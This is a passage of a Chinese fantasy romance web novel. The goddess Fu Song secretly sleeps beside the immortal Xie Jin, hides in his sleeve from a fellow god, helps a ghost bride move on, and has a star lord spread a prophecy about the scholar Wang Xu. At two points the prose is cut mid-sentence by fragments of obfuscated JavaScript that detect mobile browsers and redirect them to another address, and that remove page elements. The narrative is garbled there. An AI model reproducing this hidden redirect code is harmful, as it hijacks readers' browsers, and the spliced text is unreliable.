- 回至极乐殿,芙颂跟师傅交差。 听及“伏魔阵”三字,翼宿星君勃然变色,从太师椅上跳起来,道:“徒儿,你可知布阵者是谁?那可是风靡九重天的昭胤上神呐!” 芙颂微微惊异了一下,但也真的只是惊异了一下,随后平静道:“那又如何?” “你不仅擅入他的阵中,还护着那一头魔獒,为魔獒伸冤,虽说他不同你计较,但你也算是变相开罪了他。” 芙颂道:“您不是昭胤上神,焉知他心中所想?他给了我三日,那就说明他也觉得我是对的。” 翼宿星君咳咳数声:“……你这样说,虽然不算全对,但也不算毫无道理。” 顿了顿,又道:“那你现在心中可有好法子?” 芙颂摇首,又点了点头:“正在想。估摸着睡一觉后,就能想出来了。” 翼宿星君瞠目结舌:“你不是失眠了九千年么,还能睡觉?” 芙颂暗道不妙,她寻了凡人睡伴这件事,切不可为师傅知晓,否则,师傅必定会打断她的狗腿! 芙颂搪塞了一番,就灰溜溜离开了极乐殿。 望着凡间的万家灯火,忙乎了一日,事已至此,今夜先睡个好觉罢。 6. 【第六夜】 【第六夜】 因着加班的缘故,当夜,芙颂来白鹤洲书院就来迟了一些,原以为白衣谪仙已经睡下了,讵料,不二斋外仍然燃着一盏温黄的烛火,悬挂着的簟帘之上倒映着一道修直如松的人影,凸显出挑灯夜读的黑色剪影。 芙颂捏了隐身诀,轻手轻脚地掠身入内。 屋内弥散着一股子温湿的芳草兰香,想来是白衣谪仙刚刚濯了身,这种香气让芙颂心旷神怡。 不过好巧不巧,她一来,他就是应景地熄了灯,起身朝着床榻上走去。 亮晃晃的屋宇顺势被沉甸甸的黑暗所吞噬,岑寂的空气里,只剩下衣料窸窣声,还有床榻凹陷下去的轻微动响,这些声响在沉默之中共同交织成了暗昧的氛围,一声又一声震荡在芙颂的心膛间。 她不由惴惴不安。 不知是不是出于自己的错觉,白衣谪仙好像在专门等着她。 转念一想,这如何可能呢? 她分明掐了隐身诀,隐藏了自己的气息,他一介凡人,不可能觉察的到她的存在。 肯定是自己白昼务公太累了,才产生了错觉罢! 甫思及此,芙颂就宽了心。 上床睡觉前,她照例到花笼前给红鹦鹉投喂食物,希望他今夜安分依旧一些,莫要吵吵嚷嚷影响到它的主人睡觉。 毕方面无表情地接受了嗟来之食。其实,它本来想吐槽一句“卿本佳人,奈何从贼”,但囿于主子的叮嘱,只好收声。 芙颂舒惬地上了榻,躺在白衣谪仙身侧。这一回,他是保持着平躺的姿态,宽袖之下露出一截骨节分明的手,双手安然地交叠在小腹上方。月色偏略地洒照下来,薄薄地在男人瘦削的指腹处镀上了一层腻白朦胧的光泽,手背之上的苍青筋络,显出了山川沟壑一般的轮廓,指端上的指甲也修剪得极其干净。 芙颂特别钟情美的事物,比如一轴充满留白与写意的古画,一首响遏行云的曲子,一口侘寂的枯井,一片枯朽半黄的莲叶,一盅袅袅檀香,这些都是美。 但她从不觉得,皮囊之美会是真实的美。 这一刻,她改变了观念,美这种东西无界限,可以深刻,可以浅俗,只消能让她心动的人或物,它都可以称为美。 她越看白衣谪仙的手,越看越是赏心悦目,心中有一个念头冒了出来——「要不要去牵一下?」 芙颂是这般想的,也是这般做的。 她敛声屏息,小心翼翼地把手指穿过男人的指缝,他的皮肤干燥,指腹内侧覆盖了厚厚的一层茧,质感显得很粗粝,显然是常年习字的缘由。 男人掌心宽大温热,完全能够包裹住她,反而衬得她手很细小。 羲和以前跟她说过,牵手会成瘾,会恨不得要跟对方连成一体。当时芙颂不以为意,直至这一刻,她体悟到了此话的含金量。她牵着白衣谪仙的手后,就彻底不想松开,他的手是那样的暖和,无声之中抚平了她内心一切毛躁的边角。 谢烬淡淡阖着眼,并未入眠,觉知到身侧女郎主动牵住他的手,他微微怔了一下,第一反应是想挣开,但思及她胳膊上有伤口,牵扯到她的伤口,那反而不太好。 谢烬平吸了一口气,道声罢了,就这般任由芙颂牵握着。 他以为她今夜是不会来的了,毕竟自己给她派发了一个紧迫的任务,她应当想着如何解决才是。谁知她不紧不慢,还有闲情逸致继续来蹭觉。 按理而言,谢烬今夜合该对她坦明真相,教她要懂得迷途知返,日后莫要再来。 等她入寝屋之时,看着她揄扬地投喂毕方,嘱托它莫吵之时,不知为何,谢烬的唇角无意识地牵了起来。 忽然改变了主意。 他对自己说,就宽限三日,三日之后,不管她是否替那头魔獒平冤昭雪,他都会彻底肃清自己与芙颂的界限。 时下。 他能感受到的是,芙颂的手很小,很软,很凉,像是露裸的骨骼裹上了一层薄且娇的皮肤,又像一只软茸茸的春雀,乖驯安分地栖息在他的掌心腹地。 这就是,女子的手么? 等身侧传来轻微的呼吸声势,谢烬适才睁眸望去。 牵握住自己的那一只手,纤细伶仃,关节处透着被内层骨头磨出的淡红,指甲圆润如玲珑骰子。在月色的普照之下,粉色的小指甲上漾曳出了一片湖水般的璧色光泽。 哪怕是睡沉了,芙颂仍然牵握得紧,彼此的掌腹紧密相贴,继而抚摩出了暧-昧的热意,摩擦生出了一股酥酥的热。 谢烬极少与女子有过如此相近的碰触,也从未有人胆敢如此不设防地靠近他。 平心而论,谢烬现在也不觉得她有多烦人。她敢擅入伏魔阵,敢替那头魔獒求情,或多或少出乎他的预料,她分明知晓伏魔阵的利害,分明知晓自己入阵之后将会遭遇什么后果,可她还是去了。 她与天庭那些清心寡欲的神明,好像不太一样。 她喝酒,有市井烟火气,有七情六欲。 虽说看着不太灵活的样子,但在关键时刻,她可以豁出去,丝毫不惜命。 思忖着思忖着,谢烬视线的落点聚焦在了她左胳膊上的伤口。 芙颂的皮肤本来就白皙剔透,那一道被咬伤的伤疤就显得格外明显,俨如一条蜿蜒的细蛇,咬得谢烬心口发痒。 他薄唇轻抿成了一条细线,另一只空闲的手徐徐扬起来,在她结痂的伤口处悬空画了一个符。须臾,一抹温热的金芒如涓涓细流似的,沿着伤口处奔涌游走,那一道伤疤在金芒的吞噬之下消弭于无形。 谢烬终于顺眼了一些,披衣起身。 “毕方。” “卑职在。” “这三日,跟着她。她做了哪些事,随时汇报。” 花笼内的毕方以为自己听岔了,主子何时对一介小神这般关注了? 它忍不住望向主子,看到那一双修直冷淡的眉眼,丝毫不似玩笑。 毕方道:“盛都诸多暗桩一律反馈,雪獒这种仅七百年修为的妖物,之所以入魔伤人,背后就是有魔神推波助澜。咱们不继续对魔獒追查下去么?” 谢烬淡淡道:“翊圣真君审了雪獒一夜,问起关于魔神种种,雪獒答不出个所以然,可见它对此确乎一无所知。与其死磕,不如从王栩身上下手。” 毕方幡然醒悟,原来,主子是要利用芙颂,以芙颂为诱饵,去调查王栩,一路顺藤摸瓜找寻到魔神的下落。 它领命称是。 翌日,芙颂上值之时,发现自己胳膊上的伤疤,竟是消失得无影无踪。 怎么这么神奇? 这个困惑一直持续到师傅翼宿星君来问她是否想到破局的办法的时候,她把自己的胳膊展露给他看,道:“师傅您看,我的身上的伤一夜之间就好了,我大概被药王菩萨眷顾了……哎哟,您怎么跟师兄一样,爱打我的额头,疼!” 翼宿星君拢回手掌,用怒其不争的口吻道:“见过无中生有,难道就没见有中生无吗?” 芙颂眨了眨眼——慢着。 她灵光乍现,笑道:“我想到办法了!” 翼宿星君刚想问她想到了什么好办法,却见芙颂化作了一道碧光,一溜烟儿就消失了,离开得极是匆忙。 翼宿星君“喂”了老半晌,都没拿挽留回芙颂。 他的这个徒弟啥都好,唯有一点也不好,那就是劲儿太足、性子太急,一想到什么点子,马上会单枪匹马地去做,也不同他这个师傅商榷一下。 翼宿星君实在放心不下,魔獒这一宗案子背后牵连着无数势力,非同小可,切不可马虎大意。 他遂将夜游神召唤了过来,道:“芙颂这丫头正查一个案子,这几日你去多盯着些。” —— 夜游神慵懒地打了个哈欠,一路尾随着芙颂,原以为她是下凡,谁知她竟去了星神殿,拜谒了荧惑星君。 这丫头没事儿去寻荧惑星君做什么? 星神殿坐守着五位星君,分别是金、木、水、火、土,荧惑星君就是镇守南方的火星之宿,形象是个约莫五六岁的青衣稚子。 它在凡间的名声可不太好听,因为其职务是专门到凡间散步谣言,唯恐天下不乱似的。在秦朝嬴政当政的三十六年,它就下凡散播了诸如“始皇帝死而地分”“今年祖龙死”一类的谣言,那一年也成为了最腥风血雨的一年。 夜游神心道:“芙颂寻荧惑星君,莫不是要委托他在凡间散播谣言?” 转念一想又觉得不可能,他这个师妹鬼点子多,但秉性是良善的,断不会这等有损功德之事。 芙颂在荧惑星君处待了半个时辰,随后就下凡巡昼了。 夜游神本想去寻荧惑星君问个究竟,但到底是忍住不发,冒然问询,只怕会打草惊蛇。 他默默跟了芙颂一整昼,她行踪并无任何异常,与黑白无常搭伙儿,去收割那些不愿往生的亡魂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408650|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 中途还发生了一个有些棘手的插曲。 有一个不愿往生的亡魂,伤了黑白无常,擅自逃逸了,芙颂亲自去将亡魂追回。 这个亡魂,生前是一位待字闺中的姑娘,姓章,天生患有心疾,她的母家好不容易为她寻到一门婚事。然而,出嫁前夜她不幸病殁了,夫家嫌晦气,撤回婚书,另觅良缘。章姑娘从病殁到入土,夫家自始至终都不曾遣人来相望祈福。 章姑娘遂生出了滔天的幽怨,葬着她那一座山成为鬼气森森的地方,她成了山鬼,但凡入山者,都会鬼气缠身,重病不起。 唯有引导章姑娘走上往生桥,这一座山内的山民才会病愈安生。 但章姑娘死活不愿往生,极为抵触。 夜游神心道,这般耗下去,变作厉鬼就难收拾了。 但以芙颂的修为,活擒这种山鬼,并不算难事。 讵料,她并没有动用一丝一毫的神力。 芙颂去了一家布庄,要了一匹上等的鸳鸯缎,抱着鸳鸯缎赴往西陵神庙,觐见了赫赫有名的蚕神——也就是黄帝之妃嫘祖——诚恳地请她老人家纺织一件大红嫁衣。 嫘祖有八十八条手,织起嫁衣速度飞快,凡人绣娘要做活三个月,她一刻钟就能够竣工。 嫘祖原本不想操劳的,但架不住芙颂又是嘴甜又是帮她捶腿的,她就好奇问道,“这嫁衣可是穿在你身上?” 芙颂摇首,认真解释:“是给一个章姓的姑娘。十六岁那年,她本该风光大嫁,但没能如愿,后来化作为山鬼……我想成全章姑娘,让她穿着嫁衣,幸福地往生。” 嫘祖语重心长道:“你不该过于共情一个亡魂。她未嫁而殁,许是天命,命是注定的,她就该承受,而非被一个‘痴’字误了后路,害人害己。” 芙颂沉默半晌,道:“我知道的,您教育的是。但据我了解,章姑娘生前经常帮扶左邻右舍,是为善;章母饱受腿疾折磨,她日夜帮章母按摩双腿,上山摘草药助其疗愈,是为孝;夫家退婚,章姑娘沦为山鬼后,并未因恨报复,是为德。” 顿了顿,芙颂道:“这样一个善良、有孝心且品德的人,又能坏得到哪里去?您若是成全了章姑娘的夙愿,也是功德一桩呀。” 嫘祖听悉内情,颇为动容,千言万语化作一句喟叹:“你啊。” 嫘祖亲自丈量了章姑娘的尺寸,飞快织起嫁衣来…… 一刻钟后,芙颂捧着刚出炉的大红嫁衣来到章姑娘面前,请她穿上。 章姑娘显然有些不可置信,有些防备:“给我的?” 收获到确认的眼神之后,章姑娘浑身变得僵硬了起来。 芙颂能明晰地觉知到,接过嫁衣时,章姑娘那一双手都在发颤,似乎是在克制着什么情绪。 及至换上了大红嫁衣,她转了一个圈,细细审视了自己的模样,深深望向芙颂,忽然笑了一下,哽咽道:“我漂亮吗?” 芙颂没料到章姑娘回问出这样一句。 她弯了弯眼睛,由衷道:“漂亮,很漂亮,你是今天最漂亮的新娘。” 章姑娘走向芙颂,敞开了胳膊。 戍守在不远处的黑白无常,以为章姑娘要伤害芙颂,瞬时警惕起来。 谁知,章姑娘只是拥住了芙颂,在耳屏处道了声:“谢谢,我无憾了。” 执念已销,章姑娘的皮肤变得透明薄弱起来,身躯渐渐融化成了无数如萤火一般的光点,飘散在了半空之中。 芙颂一晌撑开了招魂伞,一晌翻了一个收魂莲花印,这些萤火般的光电一下子就收入招魂伞。 招魂伞内有一个时空通道,可以直接通往往生桥,芙颂将章姑娘收入伞内,她现在可以直接往生了。 黑白无常目睹了这一切,对芙颂吐着长舌肃然起敬,芙颂揩了揩鼻梁,摆了摆手,笑道:“哪里哪里,诸位今昼也辛苦了,有我在,准保到点下值!” —— 这一幕,落在了夜游神眼中,他有些啼笑皆非。不过,很快觉察到了一丝端倪。 有一只红鹦鹉也跟着他一起,藏在暗中窥察芙颂。 他很早就觉察到了,这只红鹦鹉身上火之真气极重,来历匪浅,为何会盯着他的师妹? 夜游神打算等芙颂回九莲居休息后,再逮住这只红鹦鹉盘问一番。 谁料,入夜后,他看到芙颂竟是往庐陵郡白鹤洲书院去了。 她不好好休息,去书院做什么? 7. 【第七夜】 【第七章】 “这位日游神,先去了一趟星神殿,寻荧惑星君议事,后来下凡巡昼,拢共收服了十八个亡魂。其中有个章姓姑娘,有一些棘手,日游神特地为了她,去求嫘祖绣了一件大红嫁衣,这才将此亡魂收服。” 入夜,酉时正刻。不二斋内,毕方将自己所观察到的事,一五一十地同谢烬汇报。 谢烬静静盘坐于庭院下,春夜里的风将他的霜色白袍吹得猎猎作响,袖袍之上绣描的瑞鹤仿佛被渡了一口仙气,行将震翮高飞而去。 他的面前摆放着一座棋盘,棋盘上黑白两子正在激烈交锋,厮杀得难解难分,渐而呈现出一种胶着之势。 若是细细观察棋盘上的形势,会发现,黑子已以一种微小的优势压住了白子昂扬的势头。黑为阴,白为阳,阴盛则阳衰,阴阳一旦失衡,必会酿就天灾人祸。 此则是眼下盛都的形势,正处于一种微妙的失衡之中,谢烬复又捻了一枚白子入局,能不能改变阴阳失衡之举,且看这枚白子的造化了。 毕方无声地注视着棋局,深知这一枚新入局的白子,就是日游神芙颂。 谢烬是一个节欲喜静之人,并无那些附庸风雅的爱好,唯一能持久的,便是对弈。在他眼中,对弈等同于伏羲卜卦,能精准预测出未来的局势,他喜欢运筹帷幄,且将事事掌控在握的感觉。 时下,听到芙颂寻谒荧惑星君一事,谢烬眸底掠过了一抹薄薄的兴味,并无丝毫意外,以芙颂的秉性,确乎能做出那样的事。 毕方觉察出一丝端倪,好奇道:“主子,您说日游神寻荧惑星君,是为了何事?荧惑星君可不是什么善茬。” 谢烬袖了袖手,手掌拢回膝面,淡敛着眼:“翌日你就知道了。” 毕方如丈二的和尚,挠了挠脑袋,主子乍还玩起了悬念? 半个时辰后,谢烬准时上榻安枕,循照惯例,他原本是睡在居中的位置,但这一回,他稍微调整了一下位置,平躺在了外侧。 他的眼前浮现出了一种画面,是芙颂夜半睡在外侧,睡着睡着滚到了地上的场景。 哪怕这个场景是从未发生过的。 谢烬一时也没弄清自己为何会有这种心念,也不往深处细想,既然她都称他为尊长了,他也理当照顾一下后辈才是。 歇下没多久,不二斋外就飘进来一道纤细玲珑的身影,正是芙颂。 芙颂看起来没有往日那般镇定自若。 她发现夜游神在一路尾随自己,这个消息还是白鹤洲书院戟门前那一块石敢当透露给她的。石敢当是个成了精的万年老石仙,芙颂此前收买了他,让他把风,一旦发现了熟人出现在庐陵郡地界,即刻话与她知。 这不,芙颂就知道了师兄在背后调查她了。 莫不是他觉察到了她找了个凡人睡伴? 那可大祸临头了! 芙颂焦灼不已,在寝屋内不安地四处乱窜,急急觅寻着藏身之处。 藏衣橱,太小。 藏床底下,太猥琐。 藏花笼,红鹦鹉会啄死她的。 …… 总之,没有一个非常适合她藏身的地方。 眼看着夜游神的气息离不二斋越来越近了。 芙颂望了一眼安睡在床榻上的白衣谪仙,视线的落点聚焦在了他宽大的袖袍。 芙颂眼睛一下子亮了,有办法了! 她念了一个缩身诀,原地缩成了只有巴掌大小的人儿,旋即掠身飞在了床榻上,麻溜地朝着白衣谪仙的袖袍里钻了进去。 谢烬很快觉察到了一抹异样。 他其实并没有入睡,留了三分神识在感知着芙颂的一举一动,循照以往的预期,她应当在戍时正刻就会躺在他身边,但今夜,她迟迟没有动作。 冥冥之中,谢烬蓦觉右边袖口钻入了一个痒腻的触感,好像有一个毛绒绒的小东西正在沿着他的手臂处爬,由腕骨处的佛珠慢腾腾地往里侧的袖囊深处移动。 谢烬身躯稍稍僵住,脸色的表情淡到毫无起伏,作势欲将这个毛绒绒的小东西揪出来。 “白衣谪仙,就让我在袖裾里藏一阵子罢,我不想被夜游神发现。若是被他发现我在这里,他肯定要让我吃不了兜着走。” 正欲动手,霜白色的袖裾里传来了芙颂可怜兮兮的祈求。 她的嗓音比寻常要弱小很多,细细柔柔的,像是一个刚出炉的糯米糍,黏在了他心口上。 谢烬动作一滞,双手不知该平放还是屈起。 他素来不喜外人近身,总是保持着一段疏离有礼的距离。 芙颂触碰他时,他并不欢迎,但好像也不那么生厌。就如昨夜,她擅自牵起他的手,纤细的手指捏了捏他的掌心,还戳了戳他的指尖,比对两人掌心的大小。他纵容她这样做了。 纵容这种东西很奇怪,只有零次和无数次。 他纵容她第一次,也有第二次。 谢烬敛了敛眸心,掩住了真实的情绪,双掌恢复了惯常的交叠之举,不再有下一步的动作。 这晌,夜游神已经来到了不二斋外。 师妹就是消失在这里。 怀着一腔疑绪,夜游神不疾不徐入斋查看。 书斋很大,分有三进,从西往东依次是濯室、书室和寝屋,物具不多,处处可见留白与写意。庭院里种了芭蕉与湘妃竹,庭中设有一张棋案,夜游神凝视了棋案好一会儿,目光在其中一枚白子驻留了好一会儿,他神色变得凝沉了起来。 夜游神穿过庭院,往寝屋内速速掠去, 原以为能找寻到蛛丝马迹,结果,寝屋内唯有一人、一鹦鹉而已。 红鹦鹉长得与他白昼看得那只十分相像,但现在看到的这只红鹦鹉,就是一只再普通不过的鸟,一丝真气也无。 夜游神把目光落在了白衣郎君身上。 似乎能够觉知到夜游神探赜的目光,避藏在袖裾里的芙颂,敛声屏息,心脏庶几要蹦到了嗓子眼儿。 不知是不是出于自己的错觉,白衣谪仙好像能觉知到了她的局促不安,大拇指在她的后颈处轻轻地揉了一揉。 这一揉,就将芙颂所有的不安都揉散了,她恢复了一贯的淡定。 袖裾里的小世界十分温暖,弥散着一片极好闻的雪松冷香,芙颂藏着藏着,蓦觉困意如潮水般滚滚袭来,她索性以男人的小指为枕,以袖裾为衾,阖眼睡下。 游逛了一圈,夜游神仍然没有找寻到芙颂的踪影。 难不成是自己看走了眼? 夜游神离开之后,谢烬适才在昏暝的光影之中缓缓睁开双眸,修直的指腹在簟席上极轻极轻地敲了敲,示意芙颂可以从他的袖裾里出来了。 等了半晌,对方都毫无反应。 谢烬挑了挑眉,只见袖裾一角隆起了一个鼓鼓的小丘壑,揭开袖裾一角淡淡望去,便是望见了陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408651|168780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入熟睡的小人儿,眷恋似的依偎在他的小指处,把他的里袖当做衾被,手脚并用,把自己裹得严严实实。 适逢三月的天时,月色还不算很燥热,凉丝丝地洒入窗槛,芙颂像是一只熨熟的莲藕馅料的饺子,薄薄的白皮儿面,透出里头鲜活的肉粉色。 她的肌肤上,蘸染着他的气息,好像跟他融为了一体。 谢烬需要很谨慎地控制自己的动作,幅度尽量小一些,才不打扰她睡个好觉。 不过,藏在袖裾里睡觉,终究是不透气的,得让她探出脑袋来。 谢烬遂是将掀开了袖裾一侧,把她的脸露出来。 芙颂觉得月色有些刺眼了,在睡梦之中把袖裾又罩了回去,蒙头而眠。 谢烬再掀开,她又罩回去。 如此循环往复了数回,谢烬委实是气笑了,她是不是在来这里蹭觉蹭得顺理成章了,所以,变得这般有恃无恐? 正思忖之间,芙颂慵懒地翻了个身,嘴唇无意识碰蹭到了他的小指指腹。 谢烬感受到指尖传来一股绵绵酥酥的颤栗,望着熟睡的芙颂,他心里萌生出一种奇异的感觉。 —— 翌日,朝暾时分,芙颂懒洋洋地伸了个腰,昨夜睡得真暖和,她还做了个好梦。 奈何,甫一睁眼,她觉得天都塌了。 她……她怎么会趴睡在白衣谪仙的胸-膛上? 她分明记得,自己昨夜太困了,忘记变回来,索性睡在了白衣谪仙的袖袍里。 他的袖袍里暖烘烘的,像个蜜罐温床,委实太适合睡觉了。 芙颂睡着了,自然也忘记了,缩身咒的时长至多维持一个时辰,一个时辰后,她就变回了原样。 白衣谪仙是双手交叠在小腹前,所以说,芙颂变回原样,就变成了趴在他身上的睡姿。 白衣谪仙尚在休息,一呼一吸都具象地反映在胸腔的起伏上,隔着数层衣物,芙颂能够明晰觉知到他身躯的温度,烫得仿佛能将她灼焚个彻底。 芙颂从来不知晓男子的温度可以烫成这样,比夜里要烫一些。 反应过来后,她旋即起身,作势离去。 她的衣衫在睡觉之时乱了套,身上的流苏竟是与男人衣襟处的盘筘缠绕在了一起,她一起身,流苏就与盘筘硬生生打了个缠结。 芙颂:“……” 此际,东方的曙色从远山浮现出来,群鸟啁啾,竹影阵阵,刚好照在她与他的身上,彼此的身躯一览无余。 芙颂侧过身,让日光照进来,紧接着手忙脚乱地解缠结,但事与愿违,她越是慌,两者就颤得越紧,还将白衣谪仙的外衫曳开了一部分,露出了锁骨及一部分结实温韧的肌理。 芙颂心内咯噔一声,整个人不淡定了,秉着非礼勿视的原则,即刻偏开头。 偏偏这时候白衣谪仙醒了。 芙颂从未与白衣谪仙在清晨打过照面。要么是她醒得早,先行离开,要么是她起晚了,他已经上值授课去了。 这还是头一遭,她见着他醒时的模样。 慵懒,矜冷,清贵,威严——这是芙颂脑海冒出的词。 还好自己隐身了,要不然被他发现自己直直盯着看,太损神职人员的颜面! 谢烬一觉醒来,发现芙颂跪坐在他的腰上,一副做错事的无措样儿,耳根已经烧红了。 他淡淡垂眸下视,看到打缠结这种情状,微微怔了住。 8. 【第八夜】 【第八章】 芙颂被迫贴向他,两人之间只有半尺之隔,她身上的霓裳被偏略斜照而泻的曙色照得半透明,一小片肌肤白腻得发出朦胧胧的光泽,俨如一块晶莹剔透的羊脂玉。 谢烬是个惯来临危不惊的人,撞见此景,喉结略微一紧。 他静默了一会儿,很快神色如常,低垂着沉黯的眼,赶在芙颂还要冒冒失失解开缠结前,他有了先一步的动作。 芙颂见白衣谪仙在正衣冠,飞快地缩回双手,不敢轻举妄动。 这长达一刻钟的等待,是前所未有的煎熬,芙颂不敢看白衣谪仙的面庞,只能缩肩塌背,怂唧唧地闭眸,白衣谪仙微沉的吐息声若即若离地喷薄在她的额庭处,好似有一枚羽毛在扫荡着,痒痒的——无形之间,将她罩了个满怀。 空气岑寂得只剩下衣料窸窣牵动的细微声响,这些声响慢条斯理地咬在芙颂的肌肤上,教她浑身一阵痉挛颤栗,大脑乱作了一团糊状物。她从未如此局促不安过,哪怕是九千年前在文昌宫赴考神职人员资格证考试,都没有像现在这般紧张。 生怕被白衣谪仙发现自己的衣物被缠住。 生怕他发现她的存在。 不知过了多久,芙颂听到白衣谪仙沙哑地淡咳了一声。这一抹声音,如酥在耳屏上的热风。 睁开眼,芙颂赫然发现身上的流苏,竟是与白衣谪仙身上的盘筘解开了! 太好了,普天同庆,可喜可贺! 芙颂绷硬的身躯终于松懈了下去,此处不宜久留,她不敢多去看白衣谪仙一眼,气氛委实太尴尬了! 芙颂几乎是以一种连滚带爬的姿势,施咒速速离开了不二斋。 因是离开得太快,也就忘记回眸去观察花笼里红鹦鹉的鸟色。 毕方目瞪口呆地注视着这一幕,全然不敢相信自己所看到的这一切。 主子素来不近女色,更不是一个讲风情的人,换作以往,若是有谁胆敢近身,亦或是欲行图谋不轨之事,他不会手下留情,只消一簇三昧真火,就能彻底将对方打回原形。 它还替芙颂深深捏了一把汗,生怕她开罪了主子,谁知,主子没将她打回原形,亦未追究她趴在自己身上睡觉一事,云淡风轻地放她离去了。 主子何时……变得这般温柔了? 似乎洞察到毕方惊憾的注视,谢烬淡淡乜斜了它一眼,嗓音古井无波:“都看到了?” “卑职什么也没看到。”毕方亟亟用双翼掩盖双眼,老实巴交道,“卑职对方才所发生之事,一无所知。” 谢烬点了点头,淡淡道:“甚好,去罢。” 毕方领命称是,继续履行监察芙颂的任务了。 谢烬提着书箱离开不二斋时,戍守在戟门外的傔从恭谨问道:“谢教谕,今日还需要更换枕褥衾被吗?” 谢烬摩挲着指尖,指尖上仍然停留着芙颂霓裳上的莲花香气,温温凉凉的,滑腻如水。 他静默了好一会儿,淡薄道:“不必。” —— 话分两头,各表一枝。 芙颂点卯了后,遂速速来到星神殿,谒见了荧惑星君,结果被他老人家当头棒喝:“迟到了一刻钟!” 芙颂自知理亏,连忙从袖囊里摸出了一纸袋酥饼,孝敬给他:“这是徽州上好的徽墨芝麻酥,还请您笑纳。” 荧惑星君眼睛一亮,他素来对徽州的芝麻酥情有独钟,当下就将芝麻酥拢入自己的袖袋之中,掩唇咳了一声,语气缓和了一些:“光是一纸袋芝麻酥,如何能够收买本星君!” 芙颂复从袖裾里顺出了一只样式装潢的茶罐,眉眼弯弯地笑道:“这是茶神陆渐鸿在湖州苕溪躬自煎冶的松醪春,三千年只有这么一小罐呢。” 荧惑星君眼睛又亮了,他不仅爱吃徽墨芝麻酥,也极爱松醪春,面不红耳不赤地作势要将此茶罐抢入自己的袖中:“好说、好说。” 芙颂却将手一缩,道:“先办正事儿,正事儿办妥了,松醪春我自当会孝敬给您的。” 荧惑星君的视线一直追随着那一罐松醪春,心口痒痒的,当下大掌一拍:“好嘞成交,本星君马上下凡!” 半个时辰后。 盛都,宣武门,一群稚子正在玩耍。嬉闹之间,忽然出现了一个怪模怪样的少年,高不逾七尺,看起来约莫十三四岁的年纪,着一身青衣,也加入稚子们一起来玩。 稚子们从未见过这个少年,为首一人纳罕道:“你是谁家的小孩,怎的今昼突然就出现了?” 青衣少年道:“我见你们玩得高兴,就想来一块儿玩,嘻嘻嘻。” 这一声嘻嘻嘻俨如鬼哭,听得众人毛骨悚然。 众人又仔细一端详,觉察这个少年双眸泛散着熠熠光芒,压根儿不像个寻常人,便一再追问其底细。 青衣少年道:“你们莫要怕我,我确乎不是人,乃是荧惑星下凡,有要话对你们说。你们且记住了:状元郎,状元郎,今年杀妻女,后年斩承安。” 众人一听,大惊失色。 状元郎,现在放眼整片盛都,状元郎还能有谁?那必是王栩无疑了! 青衣少年说王栩杀了妻女,后年还要斩杀承安,这个“承安”影射的就是当今天子女儿承安公主啊! 稚子们连忙跑回去告诉家中大人。等大人们赶到玄武门时,却听那青衣少年气定神闲地摆了摆胳膊,说了一声:“不陪你们耍了!” 他灵活地纵身一跃,化作了一条白练,渐渐消逝在了天穹之中,遗留下了面面相觑的大人。 荧惑星君重返天庭之上星神馆,变回原样儿,导引芙颂到一坛水池前,投了一小块石子儿入内,池面旋即泛散起了一片涟漪,紧接着,水池之上浮现出了盛都的版图,涟漪从市井朝着大内皇廷方向不断扩散着。 不用荧惑星君儆醒,芙颂笑道:“这一片涟漪,便是流言,是也不是?” 荧惑星君点了点首,洋洋得意地捋了捋颔下柳絮般的白须:“那可不,本星君是九重天上下最会引谶造谣的神仙,放眼整座天庭,本星君敢称第二,就没人敢称第一,今夜,承安公主一定会听到流言的了……” 芙颂无心听对方自吹自擂,心道:“那我今夜也该有所准备了。” 心中有了成算,她化作一道碧光,速速离开了星神殿。 荧惑星君尚还在吹嘘自个儿,转身就发现芙颂人不见了,他愕讶地“喂”了一声,四处觅寻,遍寻无获,跳脚嚷嚷道:“你这个小神,走这么快作甚,松醪春还没孝敬给我呢!——唉,气煞了!” —— 荧惑星的出现,对皇族往往极为不利,并且这一回,荧惑星君还说状元郎是个杀人犯,不仅杀了自己的妻女,还将杀害承安公主! 兹事体大,不容小觑,不盈半日,流言犹如一折泄了火的纸书,传遍了整座盛都,亦是流传到了大内皇廷的公主府。 “公主殿下,外面那些风言风语,你莫要往心中去,圣上已然遣人去肃清那些流言了。”一位身着绀青色宫装的端庄老妇语重心长道,“这一段时日,殿下还是少与那位状元郎接触为宜。” “高嬷嬷素来顾全大局,我自是晓得的。但兹事关涉栩郎的清誉,我焉能不焦灼?”承安公主在寝殿内搴裙行来踱去,心神不宁, 承安公主姜迁韶,是天子最宠爱的小女儿,生得清水芙蓉,要风得风,要雨得雨,是全盛都无数贵胄子弟都想揽撷的白月光,偏偏她在琼林宴上对那位新晋的状元郎王栩上了心。 王栩虽出身寒门,但胸有丘壑,饱具诗才,加之生得芝兰玉树,风度翩翩,姜迁韶自然对他多有留意。 琼林宴过后,她经常能够收到他委托傔从递呈上来的诗文,字字珠玑,云锦天章,颇得姜迁韶的芳心。她写诗回信,渐渐发现自己与王栩志趣相投,那些被她暗藏于诗文之中的少女心事,逐一被王栩读透。 有一回,她无意之间在回诗之中写下自己感染了风寒,想要一件暖和的獒皮,哪承想,王栩真的送上了一件熨帖的獒皮,全盛都唯此一件——此举,足见其昭昭真心。 